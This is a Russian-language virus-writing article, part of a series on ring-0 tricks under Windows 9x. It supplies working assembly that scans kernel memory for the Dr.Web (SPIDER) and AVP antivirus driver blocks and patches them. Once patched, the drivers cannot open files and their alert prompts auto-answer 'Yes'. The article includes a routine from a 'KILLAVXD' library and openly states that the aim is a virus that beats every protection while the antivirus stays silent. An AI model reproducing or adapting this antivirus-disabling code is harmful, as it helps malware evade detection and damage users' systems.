ВОЙНА В RING-0

Часть 4

В этой, четвертой части статьи про ring-0 мы будем говорить о проблемах, возникающих после перехода в нулевое кольцо, а именно об отгрузке антивирусных VxD-драйверов.

Напомню, что под маздаем можно перейти в нулевое кольцо как минимум одним из следующих способов:

При этом мы знаем, что можно писать в защищенную память из третьего кольца, например модифицируя таблицу страниц или через INT 2E/RtlCopyMemory.

Теперь остановимся на следующем шаге: мы либо перешли в 0, либо остались в третьем кольце, но можем производить запись в любое место памяти. Так вот, обладая такими свойствами, мы, тем не менее, не можем делать системных вызовов, потому что есть шанс нарваться на антивирусный драйвер.

Например запись в исполняемый файл в районе заголовка отлавливается как вирусоподобная (а так и есть), на VxDcall-ы из адресов PE-файлов у всяких там спидеров тоже приподнимается, так что, как уже не раз говорилось, мы не идем на компромисс -- мы просто убиваем мешающий нам софт.

Как убить VxD-драйвер?

Для этого надо ответить на 2 вопроса. Во-первых, что это за драйвер, и, во-вторых, где он находится. Btw, скажу сразу, здесь я рассматриваю только 3 драйвера, а именно SPIDER.VXD, AVP95.VXD и AVPG.VXD (AvpGuard).

Как найти загруженный VxD? Можно получить поинтер на первый DDB и дальше идти по цепочке, проверяя имя драйвера. Но это есть хуйня, ибо VxDcall VXDLDR_GetDeviceList может легко отлавливаться так же как и любой другой вызов. Поэтому предлагается сканировать всю память в поисках DDB-блоков. Таким образом мы и найдем интересующие нас VxD-драйвера.

Поиск DDB в памяти:

                        mov     ebx, 0C0000000h

__scancycle:            push    8192            ; 2 pages
                        push    ebx
                        callW   IsBadReadPtr
                        or      eax, eax
                        jnz     __skippage

                        xor     esi, esi
__cycle:
                        ; общие черты, характерные для всех искомых драйверов
                        cmp     [ebx+esi].DDB_SDK_Version, 400h
                        jne     __cont
                        cmp     [ebx+esi].DDB_Name.byte ptr 7, 32
                        jne     __cont
                        cmp     [ebx+esi].DDB_Init_Order, 80000000h
                        jne     __cont
                        cmp     [ebx+esi].DDB_Prev, 'Prev'
                        jne     __cont

                        mov     eax, dword ptr [ebx+esi].DDB_Name
                        cmp     eax, 'DIPS'   ; SPIDER
                        je      __fuckup
                        cmp     edx, '9PVA'   ; AVP95
                        je      __fuckup
                        cmp     edx, 'GPVA'   ; AVPGUARD
                        je      __fuckup

__cont:                 inc     esi
                        cmp     esi, 4096
                        jb      __cycle

__skippage:             add     ebx, 4096
                        cmp     ebx, 0D0000000h
                        jb      __scancycle

Вот мы и нашли DDB драйвера, проверили имя, и выяснили что это та самая сволочь. Как убивать?

Где нибудь с control_proc_0 сканируем и патчим память на предмет следующих значений: для спидера и авп95 находим все последовательности

B8 0000D500       mov eax, R0_OPENCREATFILE
и
B8 0000D501       mov eax, R0_OPENCREAT_IN_CONTEXT

и меняем на

B8 FFFFFFFF

В результате проклятый антивир теряет способность открывать файлы, и, соответственно, никак не реагирует на их изменение. Для avpg.vxd проделываем то же самое, плюс к этому находим

CD 20 002A001A   VxDcall VWIN32_SysErrorBox
CD 20 002A000E   VxDcall VWIN32_SetWin32Event

и меняем на

90 B8 00000001   nop / mov eax, 1

В результате антивирус вирусные события-то отлавливает, но вот передать их в PE-файл посредством VWIN32_SetWin32Event не может, и поэтому сам пробует вызвать VWIN32_SysErrorBox. А это такая фишка, которая спрашивает да/нет. Вот тут он и имеет EAX=1, что означает Yes.

Теперь подходим к такому вопросу: а что если CD 20 nnnnnnnn уже успело измениться на CALL ? Тогда надо вычислить два следующих значения:

                        mov     eax, 002Ah ; VMM
                        xor     edi, edi
                        VMMcall Get_DDB
                        ; ECX<--offset DDB
                        mov     edx, [ecx+30h]  ; DDB_Service_Table_Ptr
                        xxxxxxxx <-- [edx+4*001Ah] ; VWIN32_SysErrorBox
                        yyyyyyyy <-- [edx+4*000Eh] ; VWIN32_SetWin32Event

и так же как и в случае CD 20 nnnnnnnn, заменить все

FF 15 xxxxxxxx   call    [xxxxxxxx]
и
FF 15 yyyyyyyy   call    [yyyyyyyy]

на

90 B8 00000001   nop / mov eax, 1

Только вместо VMMcall Get_DDB желательно найти VMM-овский DDB так, как это было описано в самом начале текста, хотя если работает только один avpg.vxd это не обязательно.

Короче говоря, применив все вышеписанное вы поимеете вирусняк, пробивающий все защиты, без каких-либо жестоких действий типа отгрузки драйвера напрочь, что немаловажно. Вобщем антивир молчит, юзер играет, вирус работает.

Вот кусок из библиотечки KILLAVXD, слегка модифицированный в соответствии с вышесказанным:

                        ...
                        lea     edx, [ebx+0Ch]; Name_0
                        mov     edx, [edx]
                        cmp     edx, 'DIPS'   ; SPIDER
                        je      __kavxd_patch
                        cmp     edx, '9PVA'   ; AVP95
                        je      __kavxd_patch
                        cmp     edx, 'GPVA'   ; AVPGUARD
                        je      __kavxd_patch
                        ...

__kavxd_patch:          pusha

                        push    offset kavxd_kill_moveax
                        pop     kavxd_killhandler

                        mov     esi, 0000D500h     ; R0_OPENCREATFILE
                        call    __kavxd_fuck
                        mov     esi, 0000D501h     ; R0_OPENCREAT_IN_CONTEXT
                        call    __kavxd_fuck

                        cmp     edx, 'GPVA'
                        jne     __skip1

                        push    offset kavxd_kill_cd20
                        pop     kavxd_killhandler

                        mov     esi, 002A001Ah     ; VWIN32_SysErrorBox
                        call    __kavxd_fuck
                        mov     esi, 002A000Eh     ; VWIN32_SetWin32Event
                        call    __kavxd_fuck

                        push    offset kavxd_kill_badcall
                        pop     kavxd_killhandler

                        mov     eax, 002Ah ; VMM
                        xor     edi, edi
                        VMMcall Get_DDB
                        mov     edx, [ecx+30h]  ; DDB_Service_Table_Ptr

                        lea     esi, [edx+4*001Ah] ; VWIN32_SysErrorBox
                        call    __kavxd_fuck
                        lea     esi, [edx+4*000Eh] ; VWIN32_SetWin32Event
                        call    __kavxd_fuck
__skip1:
                        popa
                        ...

__kavxd_fuck:           pusha

                        mov     edi, [ebx+18h]  ; Control_Proc_0

__kavxd_1:              lea     ecx, [edi+4]    ; check presence for
                        test    ecx, 00000FFFh  ; each new page encountered
                        jnz     __kavxd_2

                        pusha

                        sub     esp, 28
                        mov     esi, esp

                        push    28
                        push    esi             ; esi = MEMORY_BASIC_INFO
                        push    ecx
                        VxDcall VMM, PageQuery

                        test    dword ptr [esi+10h], 1000h ; mbi_state & MEM_COMMIT

                        lea     esp, [esp + 4*3 + 28]

                        popa
                        jnz     __kavxd_2

                        popa
                        ret

__kavxd_2:              inc     edi

                        cmp     [edi], esi           ; 
                        jne     __kavxd_1

                        call    kavxd_killhandler

                        jmp     __kavxd_1

kavxd_killhandler       dd      ?

kavxd_kill_moveax:      cmp     byte ptr [edi-1], 0B8h
                        jne     rt
                        mov     dword ptr [edi], -1  ; R0_xxx <-- 0xFFFFFFFF
                        ret

kavxd_kill_cd20:        cmp     word ptr [edi-2], 20CDh
                        jne     rt
kavxd_kill_both:        mov     word ptr [edi-2], 0B890h  ; nop/mov eax, 1
                        mov     dword ptr [edi], 1
                        ret

kavxd_kill_badcall:     cmp     word ptr [edi-2], 15FFh
                        je      kavxd_kill_both
rt:                     ret

* * *

(c)